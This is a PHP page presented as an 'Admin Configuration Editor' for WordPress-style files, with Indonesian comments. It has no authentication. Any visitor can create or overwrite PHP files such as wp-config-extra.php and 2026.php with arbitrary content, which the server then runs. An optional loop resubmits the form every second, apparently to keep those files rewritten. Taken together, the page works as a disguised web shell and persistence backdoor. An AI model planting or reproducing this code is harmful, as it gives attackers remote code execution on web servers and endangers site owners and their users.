Admin Configuration Editor
Internal tool – hanya file whitelist yang dapat diedit.
wp-config-extra.php
wp-settings-custom.php
wp-runtime.php
custom-functions.php
theme-options.php
site-settings.php
environment.php
maintenance.php
debug-config.php
notes.txt
changelog.txt
readme-custom.txt
policy.php
2026.php
Auto‑click Save (setiap 1 detik) untuk wp-config-extra.php dan 2026.php
Start
Stopped
(submit form via iframe)
Siap
<?php /* ===================================================== ADMIN CONFIGURATION EDITOR + AUTO-CLICK SAVE (iframe) ===================================================== - Hard whitelist (termasuk policy.php dan 2026.php) - Auto-submit form setiap 1 detik (untuk wp-config-extra.php dan 2026.php) - Toggle Start/Stop - Tidak ada reload halaman utama (gunakan iframe) ===================================================== */ error_reporting(E_ALL); ini_set('display_errors', 1); header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: SAMEORIGIN'); header('Referrer-Policy: no-referrer'); /* ================= BASE DIRECTORY ================= */ $BASE_DIR = realpath(__DIR__); if ($BASE_DIR === false || !is_dir($BASE_DIR)) { http_response_code(500); exit('Invalid base directory'); } /* ================= HARD WHITELIST ================= */ $FILES = array( 'wp-config-extra.php', 'wp-settings-custom.php', 'wp-runtime.php', 'custom-functions.php', 'theme-options.php', 'site-settings.php', 'environment.php', 'maintenance.php', 'debug-config.php', 'notes.txt', 'changelog.txt', 'readme-custom.txt', 'policy.php', '2026.php' // tambahan ); /* ================= FILE SELECTION ================= */ $file = isset($_GET['f']) ? basename($_GET['f']) : $FILES[0]; if (!in_array($file, $FILES, true)) { http_response_code(403); exit('File not allowed'); } $path = $BASE_DIR . DIRECTORY_SEPARATOR . $file; /* ================= CREATE FILE IF MISSING ================= */ if (!file_exists($path)) { $initialContent = (substr($file, -4) === '.php') ? "<?php\n\n" : ""; if (file_put_contents($path, $initialContent, LOCK_EX) === false) { http_response_code(500); exit('Failed to create file'); } } /* ================= SAVE HANDLER ================= */ $message = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { $data = (string) $_POST['content']; $data = str_replace("\r\n", "\n", $data); $tmp = tempnam($BASE_DIR, 'edit_'); if ($tmp === false) { $message = 'Temporary file error'; } else { $bytes = file_put_contents($tmp, $data, LOCK_EX); if ($bytes === false || !rename($tmp, $path)) { @unlink($tmp); $message = 'Save failed'; } else { $message = 'Saved (' . (int)$bytes . ' bytes)'; } } // Jika request dari iframe, kita tampilkan pesan saja (tanpa layout) if (isset($_SERVER['HTTP_SEC_FETCH_DEST']) && $_SERVER['HTTP_SEC_FETCH_DEST'] === 'iframe') { echo $message; exit; } // Jika tidak, kita lanjutkan (tapi biasanya POST dari iframe) } /* ================= READ FILE ================= */ $content = file_get_contents($path); if ($content === false) { http_response_code(500); exit('Read error'); } $escaped = htmlspecialchars($content, ENT_QUOTES, 'UTF-8'); ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Admin Configuration Editor</title> <style> body { font-family: Arial, sans-serif; background: #f4f4f4; } .container { max-width: 960px; margin: 30px auto; background: #fff; padding: 20px; border: 1px solid #ccc; } textarea { width: 100%; height: 420px; font-family: Consolas, monospace; font-size: 14px; white-space: pre; } .nav a { margin-right: 12px; text-decoration: none; font-weight: bold; } .notice { font-size: 13px; color: #555; margin-bottom: 10px; } .success { color: green; margin-bottom: 10px; } .error { color: red; margin-bottom: 10px; } button { padding: 6px 14px; font-size: 14px; cursor: pointer; } .auto-control { margin: 15px 0; padding: 10px; background: #f0f0f0; border: 1px solid #ddd; border-radius: 4px; } .auto-control button { background: #0073aa; color: #fff; border: none; } .auto-control button:hover { background: #005a87; } .auto-control #status { font-weight: bold; margin-left: 15px; } #ajaxStatus { margin-top: 10px; font-size: 14px; font-weight: bold; } </style> </head> <body> <div class="container"> <h2>Admin Configuration Editor</h2> <div class="notice">Internal tool – hanya file whitelist yang dapat diedit.</div> <div class="nav"> <?php foreach ($FILES as $f): ?> <a href="?f=<?php echo urlencode($f); ?>"><?php echo htmlspecialchars($f); ?></a> <?php endforeach; ?> </div> <hr> <!-- Auto‑click control --> <div class="auto-control"> <strong>Auto‑click Save (setiap 1 detik) untuk wp-config-extra.php dan 2026.php</strong> <button id="toggleAuto">Start</button> <span id="status">Stopped</span> <span style="font-size:12px;color:#666;margin-left:20px;">(submit form via iframe)</span> </div> <div id="ajaxStatus" class="success">Siap</div> <form method="post" id="editForm" target="saveFrame"> <textarea name="content" id="editorContent"><?php echo $escaped; ?></textarea> <br><br> <button type="submit" id="saveButton">Save (manual)</button> </form> <iframe name="saveFrame" style="display:none;"></iframe> </div> <script> (function() { var toggleBtn = document.getElementById('toggleAuto'); var statusSpan = document.getElementById('status'); var ajaxStatus = document.getElementById('ajaxStatus'); var form = document.getElementById('editForm'); var iframe = document.querySelector('iframe[name="saveFrame"]'); var currentFile = new URLSearchParams(window.location.search).get('f') || '<?php echo $FILES[0]; ?>'; var targetFiles = ['wp-config-extra.php', '2026.php']; // array target var isRunning = false; var intervalId = null; function setStatus(msg, isError) { ajaxStatus.textContent = msg; ajaxStatus.className = isError ? 'error' : 'success'; } // Ambil pesan dari iframe setelah submit iframe.onload = function() { try { var doc = iframe.contentDocument || iframe.contentWindow.document; var body = doc.body; if (body) { var text = body.textContent || body.innerText; if (text) { var isError = (text.indexOf('failed') !== -1 || text.indexOf('error') !== -1); setStatus(text, isError); } } } catch(e) { // ignore cross-origin (tapi seharusnya same-origin) } }; function toggleAuto() { if (!targetFiles.includes(currentFile)) { alert('Auto‑click hanya aktif untuk file: ' + targetFiles.join(', ')); return; } if (isRunning) { clearInterval(intervalId); intervalId = null; isRunning = false; statusSpan.textContent = 'Stopped'; toggleBtn.textContent = 'Start'; setStatus('Dihentikan', false); } else { // Submit pertama form.submit(); // Mulai interval setiap 1 detik intervalId = setInterval(function() { form.submit(); }, 1000); isRunning = true; statusSpan.textContent = 'Running'; toggleBtn.textContent = 'Stop'; setStatus('Berjalan (setiap 1 detik)', false); } } toggleBtn.addEventListener('click', toggleAuto); // Nonaktifkan jika file bukan target if (!targetFiles.includes(currentFile)) { toggleBtn.disabled = true; statusSpan.textContent = 'Tidak aktif (file bukan ' + targetFiles.join(' atau ') + ')'; } else { statusSpan.textContent = 'Stopped'; toggleBtn.textContent = 'Start'; } // Manual save button document.getElementById('saveButton').addEventListener('click', function(e) { e.preventDefault(); form.submit(); }); })(); </script> </body> </html>
Save (manual)